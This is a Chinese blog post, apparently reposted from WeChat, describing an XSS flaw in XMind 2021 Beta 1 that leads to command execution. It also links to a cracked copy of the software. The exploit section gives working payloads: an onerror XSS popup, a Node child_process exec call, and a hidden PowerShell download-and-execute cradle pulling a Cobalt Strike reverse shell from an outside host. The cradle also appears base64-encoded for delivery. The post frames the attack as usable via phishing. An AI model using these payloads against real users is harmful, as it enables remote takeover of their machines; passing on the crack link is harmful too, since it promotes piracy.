XMind 2021 11.0 Beta 1 XSS漏洞导致命令执行

XMind 2021 11.0 Beta 1 XSS漏洞导致命令执行

XMind 2021 即将正式发布，这款全新的思维导图和头脑风暴软件，2021版优化了结构采用全新设计、主要新增了演说模式、提供多种不同结构和配色风格供选择、增加了更多主题形状、支持修改多种图片样式。

XMind 是一款专业的全球领先的商业思维导图软件，在国内使用广泛，拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的Eclipse RCP软件架构，是集思维导图与头脑风暴于一体的可视化思考工具，能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。XMind思维导图软件曾被著名互联网媒体Lifehacker评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。

XMind ZEN 是 XMind 公司在思杰马克丁取消代理后开发的一款全新的思维导图软件，这款思维导图软件和 XMind8 在功能上是差不多的，也是完全兼容的，只不过是主界面上变化比较大，XMind ZEN 比 XMind 8 更加美观。

XMind ZEN 采用了全新 SNOWBRUSH 2.0 绘图引擎，官方宣称此引擎经过3年的开发，他们 100% 重写了思维导图的引擎，着眼在未来的黑科技上，提升了思维导图的展示效果，丰富了绘图的元素。

字体 & CJK字体列表，所有内置主题的字体都能让你的导图在各平台上拥有一致的视觉呈现效果。当导图中的中、日、韩字符不能够被正确呈现时，CJK字体列表可以作为备选方案解决这种窘境。

下载地址

XMind 2021 v11.0.0 Beta 1 x64 官方版 for Windows [2021/05/07]

:: 如需免安装绿色版，7z提取官方安装包 $PLUGINSDIRapp.7z 解压

https://dl2.xmind.cn/XMind-2021-for-Windows-64bit-11.0.0-Beta1-202105061920.exe

XMind 2021 v11.0.0 Beta 1 Crack Win64 - by ghxi 2021.05.08

https://pan.lanzous.com/iBJoKoxb3ta

XMind是一种功能齐全的思维导图和头脑风暴工具，旨在产生想法，激发创造力，并在工作和生活中带来效率。数以百万计的用户们喜欢它。

2021年5月10日，360漏洞云监测到Xmind 2020存在XSS漏洞，攻击者可以借助该漏洞实现命令执行，在实际环境中借助钓鱼攻击可能造成更严重的危害。

漏洞利用方式：

选择事件型XSS需要附带onerror事件，比如img、audio等。

弹窗代码：

<< span="">img src=x oneror=alert(1)>

构造命令执行payload

require('child_process').exec('ipconfig /all',(error, stdout, stderr)=>{

    alert(`stdout: ${stdout}`);

  });

最终利用代码：

反弹shell命令

CS生成powershell脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.72.129:8081/abcde'))"

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.72.129:8081/abcde'))"',(error, stdout, stderr)=>{

    alert(`stdout: ${stdout}`);

  });

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguNzIuMTI5OjgwODEvYWJjZGVcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==

本文始发于微信公众号（利刃信安）：XMind 2021 11.0 Beta 1 XSS漏洞导致命令执行